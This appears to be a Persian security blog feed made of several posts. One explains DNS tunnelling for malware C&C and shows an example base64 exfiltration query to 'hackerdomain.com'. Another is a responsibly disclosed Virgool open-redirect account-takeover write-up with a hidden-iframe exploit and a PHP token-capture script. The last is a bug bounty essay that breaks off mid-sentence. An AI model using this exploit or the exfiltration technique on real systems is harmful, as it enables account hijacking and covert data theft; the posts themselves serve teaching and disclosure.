سیستم‌های لینوکسی در مسیر etc/hosts/ و در سیستم‌های ویندوزی در مسیر C:\Windows\System32\Drivers\etc\hosts وجود دارد چیست؟پاسخ:سیستم‌عامل همیشه پیش از این که DNS Query یک دامنه را به DNS Server تنظیم شده روی رایانه ارسال کند، درون یک فایل local که آدرس آن در متن سوال آمده است، به دنبال آدرس IP آن دامنه می‌گردد. در صورتی که مقدار IP دامنه‌ی مورد جستجو را پیدا کند، از مراجعه به DNS Server صرف نظر می‌کند. استفاده از این فایل مزایا و معایب مختلفی دارد. از مزیت‌های آن می‌توان به افزایش سرعت وب‌گردی (با حذف زمان مورد نیاز برای DNS Query) وهمچنین از بین رفتن امکان حمله‌ی DNS Spoofing (در پست‌های آتی در مورد آن خواهیم نوشت) اشاره کرد و از معایب آن می‌توان به این اشاره کرد که در صورت تغییر آدرس IP وب‌سایت، کاربر نیاز دارد به صورت دستی آدرس جدید را در فایل بازنویسی کند.خب بعد از این که با مفاهیم مرتبط با DNS و نحوه‌ی عملکرد آن آشنا شدیم، سوال ابتدایی مقاله را مطرح می‌کنیم:گام پنجم: علت جذابیت پروتکل DNS برای توسعه دهندگان بدافزار چیست؟همانطور که در مقدمه گفتیم، توسعه‌دهنده‌ی بدافزار برای ارتباط با بدافزار‌های نصب شده از رایانه‌ای با نام C&C استفاده می‌کند. در تصویر زیر یک تصویر ساده از ساختاری که توصیف شد، مشاهده می‌کنیم:از آنجایی که هدف بدافزارنویس مخفی کردن این ارتباط از شناسایی و مسدود شدن است، همانطور که حدس می‌زنید، پروتکل DNS از چند جهت برای توسعه‌دهنده‌ی بدافزار جذاب است:۱- در سازمان‌های حساس، به صورت معمول دسترسی کاربران به اینترنت مسدود می‌شود و تنها استفاده از پورتال‌های سازمانی برای آن‌ها امکان پذیر است. با این وجود در این سازمان‌ها، به صورت معمول یک DNS Server برای Resolve کردن مقدار IP دامنه‌های درون سازمانی و همچنین برای Resolve کردن DNS Queryهای سیستم‌های خاصی که دسترسی آن‌ها به اینترنت محدود نشده است، وجود دارد. در اغلب موارد این DNS Server به صورت صحیح Config نمی‌شود و برای کاربرانی که قرار است تنها دسترسی به پورتال‌های درون سازمانی داشته باشند نیز امکان Resolve کردن مقدار IP دامنه‌های غیر سازمانی وجود دارد. بدافزار نویسان از این اشتباه Configuration استفاده می‌کنند تا به عنوان مثال با ارسال DNS Query برای salam.site.com، به DNS Server دامنه‌ی site.com، کلید واژه‌ی salam را ارسال کنند.۲- به یمن وجود پروتکل DNS، دیگر نیازی به آن نیست که لیست ثابتی از IP سرورهای C&C خود را درون فایل اجرایی بدافزار ذخیره (اصلاحا Hard Code) نماید و کافی است که یک/چند دامنه ثبت کند و نام این دامنه‌ها را در بدافزار ذخیره کند. به این وسیله هر زمان که یکی از سرورهای C&C مورد حمله قرار گرفت یا IP آن مسدود شد و یا به نحوی برای آن مشکلی به وجود آمد، تنها کاری که توسعه دهنده‌ی بدافزار نیاز است انجام دهد، تغییر مقدار IP آن دامنه در سرورهای DNS است. این در حالی است که بدون استفاده از قابلیت DNS، توسعه دهنده‌ی بد افزار در صورت رخ دادن مشکلی برای سرورهای C&C ، ناگریز بود که فایل‌های بدافزار جدید که حاوی آدرس IP جدید هستند تولید کند و سیستم‌های قربانیان خود را با فایل‌های جدید مجددا آلود کند.همانطور که آدرس‌های IP ممکن است توسط فایروال‌ها مسدود شوند، Queryهای DNS یک دامنه هم قابل مسدود شدن هستند. توسعه‌دهنده‌های بدافزار برای حل مشکل مسدود شدن دامنه‌ها، دست به دامان الگوریتم‌هایی با عنوان الگوریتم تولید نام دامنه اختصاصی شدند؛ که خروجی آن‌ها نام دامنه‌های منحصربفرد (و مثلا تابعی از زمان) است. بد افزار با فراخوانی دوره‌ای این تابع، دامنه‌ی جدیدی که باید برای آن DNS Query ارسال کند را بدست می‌آورد و با توجه به ماهیت این تابع، کسی جز توسعه دهنده بدافزار از نام دامنه‌ای که تولید می‌شود اطلاعی ندارد. بنابراین بدافزارنویس، پیش از این که دامنه‌ی جدید توسط بدافزار استفاده شود، با ثبت دامنه، مقصد ترافیک بدافزار را به صورت دوره‌ای تغییر می‌دهد و ارتباط مستمر بدافزار با C&C به این صورت حفظ می‌شود. با توجه به این که در این روش، مسدود کردن ترافیک DNS Queryها، مستلزم استخراج الگوریتم تولیدکننده‌ی نام دامنه به روش مهندسی معکوس فایل اجرایی بدافزار است و این کار می‌تواند بسیار پیچیده باشد، این روش که قدمتی بیش از ۱۰ سال دارد، همچنان بین بدافزار نویسان محبوبیت خاصی دارد.۳- علی‌رغم این که ترافیک‌های HTTP و HTTPS برای فایروال‌ها و کارشناسان امنیت سازمان‌ها همواره مهم و مورد توجه بوده و روی آن‌ها نظارت می‌شود، ترافیک DNS با توجه به این که خطرناک بودن آن برای همه محرز نیست، اغلب مورد بررسی و توجه کافی قرار نمی‌گیرد. بنابراین، برای مخفی نگاه داشتن یک ارتباط، استفاده از آن از نگاه بدافزار نویس جذاب است.۴- به نحوی از پروتکل DNS سوء استفاده کند که پیام‌های تبادلی بین رایانه‌های آلوده و سرور C&C در قالب بسته‌های DNS جابجا شوند و توسط Firewall شناسایی و مسدود نشوند.موارد اول تا سوم، واضح و مشخص است. آنچه در این مقاله در مورد آن صحبت می‌کنیم، کاربرد چهارم است. Firewallها در سازمان‌ها و شبکه‌های مهم (که معمولا از اهداف اصلی بدافزارنویسان نیز هستند)، غالبا به گونه‌ای تنظیم می‌شوند که ترافیک شبکه‌ی داخلی به شبکه‌ی خارجی تنها با پروتکل‌های مشخص (مثلا DNS، HTTP و TLS) و پورت‌های مقصد مشخص (مثلا ۵۳، ۸۰ و ۴۴۳) قابل ارسال باشد و علاوه بر این، ادمین‌های شبکه، با نظارت بر ترافیک تبادلی، مقصدهای مشکوک ترافیک را شناسایی و مسدود می‌کنند. به همین دلیل، بدافزارنویس نیاز دارد ترافیک خود را درون یکی از این پروتکل‌های مجاز تبادل کند و علاوه بر این باید سعی کند یک مقصد معتبر را واسطه‌ی ترافیک بین بدافزار خود و سرور C&C قرار دهد.اینجاست که پروتکل DNS یک چشمک زیبا حواله‌ی چشمان توسعه دهنده‌ی بدافزار می‌کند. وی با ثبت یک دامنه و تنظیم DNS Server آن دامنه به یکی از سرورهای خودش (همان سرور C&C، به جای DNS Server فروشندگان Host)، باعث می‌شود درخواست‌های DNS مربوط به آن دامنه (و همه‌ی Subdomainهای آن دامنه)، به سرور تحت اختیار خودش هدایت شوند. از طرف دیگر بد افزار خود را به نحوی توسعه می‌دهد که اطلاعات را در قالب DNS Query به سرور مذکور ارسال نماید.به عنوان مثال فرض کنید بد افزار قصد ارسال اطلاعات زیر را به سرور C&C دارد:Infected System MAC Address, Infected System Username, Infected System IP Addressبرای این منظور بد افزار اطلاعات فوق را استخراج کرده و مثلا برای parse کردن ساده‌تر با – از هم جدا می‌کند و آنگاه از همه‌ی اطلاعات base64 (یک نوع encoding برای نمایش داده‌هایی که ممکن است معادل ascii نداشته باشند) تولید می‌کند. خروجی نمونه به صورت زیر خواهد بود:پس از این، بد افزار یک DNS Query برای زیردامنه‌ای از دامنه‌های بدافزارنویس به صورت زیر ارسال می‌کند:MTE6MjI6MzM6NDQ6NTU6NjYtYWRtaW4tMTAuMjAuMzAuNDA=.hackerdomain.comهمانطور که حدس می‌زنید، درخواست DNS فوق، از رایانه‌ی کاربر آلوده شده، به سمت DNS Server تنظیم شده روی رایانه اش (مثلا 8.8.8.8) هدایت می‌شود. پس از رسیدن به این سرور، با توجه به این که این سرور جواب Query را نمی‌داند، آن را به DNS Serverی که انتظار می‌رود پاسخ را بداند، ارسال می‌کند. به عبارت دیگر با توجه به این که 8.8.8.8 انتظار دارد DNS Server دامنه‌ی hackerdomain.com جواب Query فوق را بداند، آن را (با چندین واسطه) به رایانه DNS Serverی که بد افزارنویس تنظیم کرده است (در واقع به سرور C&C) ارسال می‌کند. بد افزار نویس پس از دریافت و Decode کردن پیام دریافتی، می‌تواند با یک دستور (همچنان در قالب پیام‌های DNS) به بدافزار فرمانی ارسال کند. مثلا می‌تواند در بدافزار قرارداد کرده باشد که اگر در پاسخ Queryها مقدار IP برابر با 1.1.1.1 دریافت کردی رایانه را فرمت کن، و اگر پاسخ با مقدار IP برابر با 2.2.2.2 دریافت کردی، لیست فایل‌های فلان دایرکتوری را به من ارسال کن. همه‌ی این پیام‌ها در قالب پرسش و پاسخ‌های DNS ارسال می‌شوند و Firewall چیزی جز تعدادی بسته‌ی DNS بین کاربر و سرور 8.8.8.8 مشاهده نمی‌کند.چنین استفاده‌ی نامتعارفی از پروتکل DNS محدود به توسعه‌دهنگان بدافزار نیست. توسعه دهندگان ابزارهای فیلترشکن نیز از این تکنیک برای دورزدن فیلترینگ استفاده می‌کنند (VPN over DNS). تنها ایراد آن کند بودن آن به نسبت روش‌های مبتنی ایجاد Tunnel با VPS است. البته برای افزایش سرعت می‌توان از Typeهای دیگری از DNS Query (مانند TXT Type که در آن می‌توان حجم بزرگتری داده را در یک بسته دریافت کرد) نیز استفاده کرد، ولی با این حال نرخ ارسال و دریافت داده پایین است.گام ششم: روش‌های شناسایی و مقابله با DNSهای مربوط به بدافزارپیش‌گیری از آلوده شدن و مانیتورینگ … مانیتورینگ … مانیتورینگ! با توجه به ماهیت رفتاری این بدافزارها، با مانیتور کردن دامنه‌هایی که برای آن‌ها DNS Query ارسال می‌شود، می‌توان با مشاهده‌ی دامنه‌های مشکوک (مثلا دامنه‌هایی که برای Subdomainهای عجیب و غریب آن‌ها DNS Query های بسیاری ارسال می‌شود)، آن‌ها را مسدود کرد. علاوه بر این، فایروال‌ها به صورت اتوماتیک همواره با دامنه‌هایی که نباید برای آن‌ها DNS Query ارسال شود به روز رسانی می‌شوند. همچنین این امکان وجود دارد که DNS Serverهای مجاز لیستی از دامنه‌های مشکوک نگهداری کنند و در صورت دریافت Query برای آن دامنه‌ها، از ارسال آن‌ها به سرورهای C&C خودداری کنند. برای پیاده سازی ساده‌تر این راهکار، شرکت‌های مهم، ترافیک DNS به DNS Server های خارج سازمان را مسدود می‌کنند و کاربران را ملزم به استفاده از DNS Server سازمانی/داخلی می‌کنند تا به این نحو مدیریت و پردازش آن‌ها ساده‌تر باشد. خالی از لطف نیست اشاره به این که، بعضی فایروال‌ها از تکنیکی به نام DNS Trap برای بررسی بیشتر رفتار این قسم از بدافزارها استفاده می‌کنند. دراین تکنیک، فایروال به جای مسدود کردن DNS Queryهای بدافزار، آن‌ها را با مقدار IP مشخص ولی اشتباهی، پاسخ می‌دهد و آنگاه بر اساس بسته‌هایی که به آن IP ارسال می‌شود، لیست کامل‌تری از سیستم‌های آلوده بدست می‌آورد.جز این روش‌ها، در حال حاضر روش دیگری برای مقابله با این بدافزارها وجود ندارد.البته استفاده از DNS تنها روش محبوب نویسندگان بد‌افزار برای ارتباط بین RAT/Botnet و C&C نیست. موارد متعدد دیگری نظیر کامنت گذاشتن زیر ویدیوهای Youtube یا زیر پست‌های اینستاگرامی یا حتی استفاده از سرویس Google Translate، کانال‌های ارتباطی‌ای هستند که از طریق آن‌ها بدافزارنویس سعی می‌کند ترافیک بین بدافزار و C&C را ترافیک مورد اطمینان نشان دهد.گام هفتم: نمونه‌های واقعیچنانچه به مطالعه یا بررسی نمونه‌های واقعی این نوع بدافزارها علاقمند باشید، می‌توانید گزارش‌های بدافزارهای DNS_TXT_Pwnage و DNSMessenger و OilRig – BONDUPDATER را در گوگل جستجو کنید. همچنین اگر در صدد پیاده‌سازی یا بررسی یک DNS Tunnel هستید از کتابخانه‌ها و ابزارهای زیر می‌توانید بهره ببرید:dns2tcp، tcp-over-dns، OzymanDNS، iodine، SplitBrain، DNScat-P / dnscat2، DNScapy، TUNS، PSUDP، Hexify، Your Freedomگام هشتم: ظهور DoH وDoT و DTLS و دردسرهای جدید برای Firewall هادر پست‌های آتی خواهیم دید که ظاهر شدن DoH یا همان DNS over HTTPS و DoT یا همان DNS over TLS و همچنین ظهور DTLS یا همان Datagram over TLS باعث می‌شود حتی روش‌های مقابله‌ای ذکر شده در گام ششم دیگر کارساز نباشند. لیکن مقدمه‌ی آن آشنایی با پروتکل TLS، حملات مبتنی بر DNS و علت نیاز به DNSهای رمز شده است. در آینده‌ای نزدیک در ارتباط با همه‌ی این موارد و همچنین نرم‌افزارها و تکنیک‌های دیگری مانند DNSCrypt و DNSSEC مطالب مفصلی خواهیم داشت.در انتها صمیمانه از یاشار و مهدی و بابک عزیز که زحمت Review رو پذیرفتند تشکر می‌کنم و علاوه بر این، شما رو هم به نظرات مثبت و منفی، که مسلما همه‌ش به بهبود کیفیت این پست و پست‌های آتی کمک می‌کنند، دعوت می‌کنم. هر ایراد فنی/نگارشی رو از طریق نظرات بهم اطلاع بدید اصلاح می‌کنم. ممنون که [تا اینجا] خوندید.راستی! این نوشته رو در memoryleak.ir هم می‌تونید بخونید. مموری لیک ابراهیم قاسمی Thu, 11 Jul 2019 17:01:04 +0430 https://virgool.io/memoryleak/%DA%86%D8%B7%D9%88%D8%B1-%D9%85%D9%86-%D9%85%DB%8C%D8%AA%D9%88%D9%86%D8%B3%D8%AA%D9%85-%D8%AD%D8%B3%D8%A7%D8%A8-%D9%88%DB%8C%D8%B1%DA%AF%D9%88%D9%84-%D9%87%D8%B1%DA%A9%DB%8C-%D8%B1%D9%88-%D9%87%DA%A9-%DA%A9%D9%86%D9%85-avykxkqiq7t0 خب این نوشتار مربطو به آسیب‌پذیری هست که توی ویرگول پیدا کردم، به بچه‌های ویرگول اطلاع دادم و الان که این پست عمومی میشه، آسیب‌پذیری مرتفع شده.داستان به این شکل بود که ویرگول قابلیت domain parking رو به کاربراش میده، برای مثال site.com می‌تونه یک کپی از virgoo.io/virgoolname باشه. در حالی که توی ویرگول لاگین نبودم، داشتم از سایت https://tech.cafebazaar.ir بازدید می‌کردم،‌ متوجه یه لینک شدم:https://virgool.io/authorize?redirectedFrom=https://tech.cafebazaar.ir&amp;status=loginروی لینک کلیک کردم، به سایت اصلی ویرگول منتقل شدم، لاگین کردم و به‌صورت خودکار به سایتی که توش بودم برگشتم (https://tech.cafebazaar.ir). اگه بخوایم جریان‌کاری رو ببینیم (به قسمت‌های پررنگ‌تر توجه بیشتر بشه):‍‍‍GET /authorize?redirectedFrom=https://tech.cafebazaar.ir&status=login HTTP/1.1 Host: virgool.io User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:67.0) Gecko/20100101 Firefox/67.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: https://tech.cafebazaar.ir/ Connection: close Cookie: PHPSESSID=REDUCTED; rec=REDUCTED; XSRF-TOKEN=REDUCTED; vrgl_sess=REDUCTED; _ga=GA1.2.1769807866.1561463323; _gid=GA1.2.215640833.1561463323; _vcfg=%7B%22tpcs_c%22%3A49%7D; nightmode={%22value%22:0%2C%22userMenu%22:0%2C%22active%22:0}; __cfduid=daf3ea276c68e9eb2200e84f71f8b3ea61561463882; _gat_UA-96394274-1=1 Upgrade-Insecure-Requests: 1جواب سرور:HTTP/1.1 302 Found Server: nginx/1.15.9 Date: Wed, 26 Jun 2019 05:45:35 GMT Content-Type: text/html; charset=UTF-8 Connection: close X-Powered-By: Virgool Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Cache-Control: no-cache, private Location: https://virgool.io/login Set-Cookie: XSRF-TOKEN=REDUCTED; expires=Thu, 27-Jun-2019 05:45:35 GMT; Max-Age=86400; path=/ Set-Cookie: vrgl_sess=REDUCTED; expires=Thu, 27-Jun-2019 05:45:35 GMT; Max-Age=86400; path=/; httponly X-Frame-Options: sameorigin X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Content-Security-Policy: default-src 'self' files.virgool.io blob:; connect-src 'self' https://www.google-analytics.com stats.vstat.ir heapanalytics.com cdn.iframe.ly https://geoip-db.com; font-src 'self' data: https://virgool.io; img-src blob: data: https: 'self' files.virgool.io https://www.google-analytics.com; object-src 'self' virgool.io; media-src cdn.virgool.io; script-src 'self' blob: https://virgool.io 'unsafe-eval' 'unsafe-inline' www.googletagmanager.com https://www.google-analytics.com js-agent.newrelic.com stats.vstat.ir bam.eu01.nr-data.net heapanalytics.com cdn.iframe.ly https://cdn.iframe.ly https://geoip-db.com https: 'self'; style-src 'unsafe-inline' data: https: 'self'; frame-src 'self' cdn.iframe.ly https://cdn.iframe.ly chromenull: https: webviewprogressproxy: ; worker-src blob: 'self'; Strict-Transport-Security: max-age=15724800; includeSubDomains Content-Length: 5830بعد از وارد کردن اطلاعات و کلیک روی دکمه «ورود»:POST /api/v1.2/login HTTP/1.1 Host: virgool.io User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:67.0) Gecko/20100101 Firefox/67.0 Accept: application/json, text/plain, */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: https://virgool.io/login X-XSRF-TOKEN: REDUCTED Content-Type: multipart/form-data; boundary=---------------------------1803676204095613341172964359 Content-Length: 319 Connection: close Cookie: PHPSESSID=REDUCTED; rec=REDUCTED; XSRF-TOKEN=REDUCTED%3D%3D; vrgl_sess=REDUCTED; _ga=GA1.2.1769807866.1561463323; _gid=GA1.2.215640833.1561463323; _vcfg=%7B%22tpcs_c%22%3A49%7D; nightmode={%22value%22:0%2C%22userMenu%22:0%2C%22active%22:0}; __cfduid=daf3ea276c68e9eb2200e84f71f8b3ea61561463882; _gat_UA-96394274-1=1 -----------------------------1803676204095613341172964359 Content-Disposition: form-data; name="username" y.shahinzadeh@gmail.com -----------------------------1803676204095613341172964359 Content-Disposition: form-data; name="password" REDUCTED -----------------------------1803676204095613341172964359--جواب:HTTP/1.1 200 OK Server: nginx/1.15.9 Date: Wed, 26 Jun 2019 05:45:55 GMT Content-Type: application/json Connection: close Vary: Accept-Encoding X-Powered-By: Virgool Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Cache-Control: no-cache, private X-RateLimit-Limit: 1000 X-RateLimit-Remaining: 861 Set-Cookie: auth_token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.REDUCTED; expires=Wed, 25-Mar-2020 23:45:55 GMT; Max-Age=23652000; path=/ Set-Cookie: jwts=REDUCTED; expires=Wed, 25-Mar-2020 23:45:55 GMT; Max-Age=23652000; path=/; secure; httponly Set-Cookie: refreshed_token=REDUCTED; expires=Wed, 26-Jun-2019 06:05:55 GMT; Max-Age=1200; path=/; secure Set-Cookie: uid=sb5uevdkih3r; expires=Wed, 25-Mar-2020 23:45:55 GMT; Max-Age=23652000; path=/ Set-Cookie: vrgl_sess=REDUCTED; expires=Thu, 27-Jun-2019 05:45:55 GMT; Max-Age=86400; path=/; httponly X-Frame-Options: sameorigin X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Content-Security-Policy: default-src 'self' files.virgool.io blob:; connect-src 'self' https://www.google-analytics.com stats.vstat.ir heapanalytics.com cdn.iframe.ly https://geoip-db.com; font-src 'self' data: https://virgool.io; img-src blob: data: https: 'self' files.virgool.io https://www.google-analytics.com; object-src 'self' virgool.io; media-src cdn.virgool.io; script-src 'self' blob: https://virgool.io 'unsafe-eval' 'unsafe-inline' www.googletagmanager.com https://www.google-analytics.com js-agent.newrelic.com stats.vstat.ir bam.eu01.nr-data.net heapanalytics.com cdn.iframe.ly https://cdn.iframe.ly https://geoip-db.com https: 'self'; style-src 'unsafe-inline' data: https: 'self'; frame-src 'self' cdn.iframe.ly https://cdn.iframe.ly chromenull: https: webviewprogressproxy: ; worker-src blob: 'self'; Strict-Transport-Security: max-age=15724800; includeSubDomains Content-Length: 612 {"success":true,"token":"eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.REDUCTED.juAVldUazb6ZTMCopRaXzWQGh-6EYnxXjUd8uEK5jDA","previous_url":"https:\/\/virgool.io\/authorize?redirectedFrom=https:\/\/tech.cafebazaar.ir&status=checked","user":{"name":"YShahinzadeh","activated":1,"username":"YShahinzadeh","avatar":"https:\/\/files.virgool.io\/upload\/users\/9091\/avatar\/1xRXC6.png"}}خب تا اینجا هیچ مشکلی مشاهده نمیشه. ایده فاز کردن URL توی لینک لاگین (https://virgool.io/authorize?redirectedFrom=https://tech.cafebazaar.ir&amp;amp;amp;amp;amp;amp;amp;amp;amp;status=login) اصلا جذاب نیست، چرا؟ برای اینکه فرض کنید بتونیم چنین لینکی رو به قربانی بدیم:https://virgool.io/authorize?redirectedFrom=https://test.com&status=loginبعد از انجام فرایند لاگین، کاربر به https://test.com هدایت مجدد میشه (تازه اگه چک نشه)، و خب سوالی که پیش میاد اینه: که چی؟ یه Open Redirect ساده هست با ایمپکت پایین. خب اینجا بنظر من قبل اینکه باقی نوشته رو بخونید، تو ذهن خودتون سناریوهای حمله رو که میشه اینجا پیاده‌سازی کرد ترسیم کنید. اولین چیزی که اون موقع تست کردم و منجر به کشف آسیب‌پذیری هم شد،‌ این سناریو بود:چی میشه اگه کاربری که الان لاگین هست، روی لینک کلیک کنه؟جالب اینه امروز این رو از یک شخص پرسیدم و جواب داد: خب میره اونور یه توکن رفرش بش میده و برمی‌گرده. یعنی خیلی براش بدیهی بود این رفتار، حداقل برای من توی اون لحظه نبود اما چک کردم. خب درخواست با سشن لاگین:GET /authorize?redirectedFrom=http://tech.cafebazaar.ir&status=login HTTP/1.1 Host: virgool.io User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:67.0) Gecko/20100101 Firefox/67.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: close Cookie: REDUCTED Upgrade-Insecure-Requests: 1جواب به شدت جالب بود:HTTP/1.1 302 Found Server: nginx/1.15.9 Date: Wed, 26 Jun 2019 08:34:53 GMT Content-Type: text/html; charset=UTF-8 Connection: close X-Powered-By: Virgool Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Cache-Control: no-cache, private Location: http://tech.cafebazaar.ir/authorize-token?token=sa5uevekit3r&redirectedFrom=http://tech.cafebazaar.ir&nightmode={"value":0,"userMenu":0,"active":0} Set-Cookie: XSRF-TOKEN=REDUCTED; expires=Thu, 27-Jun-2019 08:34:53 GMT; Max-Age=86400; path=/ Set-Cookie: vrgl_sess=REDUCTED; expires=Thu, 27-Jun-2019 08:34:53 GMT; Max-Age=86400; path=/; httponly X-Frame-Options: sameorigin X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Content-Security-Policy: default-src 'self' files.virgool.io blob:; connect-src 'self' https://www.google-analytics.com stats.vstat.ir heapanalytics.com cdn.iframe.ly https://geoip-db.com; font-src 'self' data: https://virgool.io; img-src blob: data: https: 'self' files.virgool.io https://www.google-analytics.com; object-src 'self' virgool.io; media-src cdn.virgool.io; script-src 'self' blob: https://virgool.io 'unsafe-eval' 'unsafe-inline' www.googletagmanager.com https://www.google-analytics.com js-agent.newrelic.com stats.vstat.ir bam.eu01.nr-data.net heapanalytics.com cdn.iframe.ly https://cdn.iframe.ly https://geoip-db.com https: 'self'; style-src 'unsafe-inline' data: https: 'self'; frame-src 'self' cdn.iframe.ly https://cdn.iframe.ly chromenull: https: webviewprogressproxy: ; worker-src blob: 'self'; Strict-Transport-Security: max-age=15724800; includeSubDomains Content-Length: 6482همون حدث دوستمون درست بود (صد آفرین). کاربر با توکن برمی‌گرده سمت صفحه اولی که توش بوده. خب چی میشه اگه ما بتونیم به این توکن دسترسی داشته باشیم؟ می‌توینم بجای کاربر لاگین کنیم (بدون داشتن نام‌کاربری و گذرواژه)، در واقع اکانت رو تصاحب کنیم. با چه آسیب‌پذیری میشه این توکن رو سرقت کرد؟ دقیقا... Open Redirect که همیشه در حقش اجحاف میشه. تست کردم:GET /authorize?redirectedFrom=http://localhost/&status=login HTTP/1.1 Host: virgool.io User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:67.0) Gecko/20100101 Firefox/67.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: close ...و جواب:HTTP/1.1 302 Found Server: nginx/1.15.9 Date: Wed, 26 Jun 2019 08:42:40 GMT Content-Type: text/html; charset=UTF-8 Connection: close X-Powered-By: Virgool Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Cache-Control: no-cache, private Location: http://localhost/authorize-token?token=sb5uevdkih3r&redirectedFrom=http://localhost/&nightmode={"value":0,"userMenu":0,"active":0} ...و تامام. حساب تصاحب میشه، از این قسمت به بعد وارد فاز اکسپلویت کردن می‌شیم. کد اکسپلویت:<style> iframe { visibility: hidden; position: absolute; left: 0; top: 0; height:0; width:0; border: none; } </style> <center><img src="troll.jpg"></center> <iframe src="https://virgool.io/authorize?redirectedFrom=http://localhost/v/g.php&status=login"></iframe>محتویات صفحه g.php:<?php file_put_contents('hacked.html', '<html><meta content="text/html;charset=utf-8" http-equiv="Content-Type"> <meta content="utf-8" http-equiv="encoding">=\'http://virgool.io/authorize-token?token=' . $_GET['token'] . '&redirectedFrom=https://virgool.io&nightmode={"value":0,"userMenu":0,"active":0}\''); ?>وقتی قربانی در حالی که توی حساب ویرگول خودش لاگین هست، از سایت مهاجم بازدید کنه، چنین درخواستی رو برای سرور ماجم می‌فرسته که توکن اصالت‌سنجی توش هست:GET /authorize-token?token=sa5uevekit3r&redirectedFrom=http://localhost/v/g.php&nightmode={%22value%22:0,%22userMenu%22:0,%22active%22:0} HTTP/1.1Host: localhostUser-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:67.0) Gecko/20100101 Firefox/67.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: closeReferer: http://localhost/v/Upgrade-Insecure-Requests: 1Pragma: no-cacheCache-Control: no-cacheو مهاجم می‌تونه با این توکن به‌جای کاربر لاگین کنه. این هم لینک ویدئو اثبات آسیب‌پذیری که درک خیلی خوبی از شدت حمله میده: https://www.youtube.com/watch?v=ofXsnM7UozYدر آخر هم جا داره تشکر کنم از تیم فنی ویرگول که بسیار خوش برخورد بودن و بانتی (اصلا مبلغش مهم نیست) به این آسیب‌پذیری اختصاص دادن، همچنین سرعت عمل بسیار بالایی در دریافت و صدور وصله امنیتی داشتن. مموری لیک YShahinzadeh Thu, 27 Jun 2019 21:26:36 +0430 https://virgool.io/memoryleak/%D8%A8%D8%A7%DA%AF%D8%A8%D8%A7%D9%86%D8%AA%DB%8C-%DB%8C%D8%A7-%D8%AC%D8%A7%DB%8C%D8%B2%D9%87-%D8%A8%D9%87-%D8%A7%D8%B2%D8%A7-%D8%A2%D8%B3%DB%8C%D8%A8%D9%BE%D8%B0%DB%8C%D8%B1%DB%8C-glpn4e4djzkx باگ‌بانتی یک پاداش - پولی یا غیر پولی - است که یک شرکت بابت گزارش کردن یک باگ یا آسیب پذیری توسط یک شخص (هکر کلاه سفید)، به او پرداخت می‌کند. پاداش پولی ممکن است از چند صد هزار تومان تا چند میلیون تومان نسبت به میزان و شدت آسیب‌پذیری متفاوت باشد. پاداش غیر پولی، استفاده از خدمات شرکت و مواردی نظیر آن است. همچنین معمولا در دو حالت، اسم شخص گزارش‌کننده به عنوان یک هکرکلاه سفید در سایت شرکت، در قسمت مربوط به امنیت، درج می‌گردد.روال بسیار غلط در ایراندر ایران معمولا بعد از کشف آسیب‌پذیری، مسیری بسیار بد طی می‌شود. ابتدا هکر کلاه‌سفید، در میان شبکه‌های اجتماعی و آشنایان به دنبال «آشنایی» می‌گردد تا بتواند باگ خود را به پول تبدیل کند. در بهترین حالت بعد از پیدا کردن لینک در داخل سازمان، بحث بر سر شدت آسیب‌پذیری به بدترین شکل ممکن صورت می‌گیرد. بدین ‌صورت که هکر کلاه‌سفید، اصرار بر خطرناک بودن آسیب‌پذیری خود دارد، در عین حال، سازمان، ادعای امن بودن کرده و تقاضای دیدن POC برای تخمین شدت آسیب‌پذیری را دارد. هکر کلاه‌سفید به دلیل ترس از «از دست دادن آسیب‌پذیری»، از دادن جزئیات امتنا می‌کند. در اکثر مواقع هم بعد از ارائه جزئیات توسط هکر کلاه‌سفید، سازمان اظهار کم اهمیت بودن سامانه آسیب‌پذیر را می‌کند.این روال بسیار غلط است، اصلا نیازی به کشف روال صحیح نیست، کافی است ببینیم سازمان‌ها و شرکت‌های بزرگ دنیا چه‌کار می‌کنند؟ تمامی شرکت‌ها، جدولی مربوط به قلمرو یا Scope مجاز برای گزارش آسیب‌پذیری را دارند. برای مثال، یک قلمرو مناسب برای شرکت ارتباطات سیار یا همراه‌اول، می‌تواند*.mci.irباشد، و دامین‌های غیر مجاز و کم اهمیت از آن کاسته شود. قسمت بعدی، باید جدول پرداختی به ازا شدت‌های مختلف آسیب‌پذیری باشد. یک مثال بسیار عالی می‌توان به برنامه Twitter در HackerOne اشاره کرد. بدین ترتیب، بحث بی نتیجه بالا هیچ‌وقت پیش نمی‌آید. برای جمع‌بندی، می‌توان اشاره کرد که یک برنامه بانتی خوب نیاز به شاخص‌های زیر دارد:قوانین برنامهتعیین قلمروجوایز کشف آسیب‌پذیرینحوه گزارشآسیب‌پذیری‌های خارج از بانتیبا توجه به موارد بالا، بسیاری از سازمان‌ها و شرکت‌های ایرانی که ادعای داشتن برنامه باگ‌بانتی رو دارند، فاقد این امر هستند. در واقع این شرکت‌ها، فقط 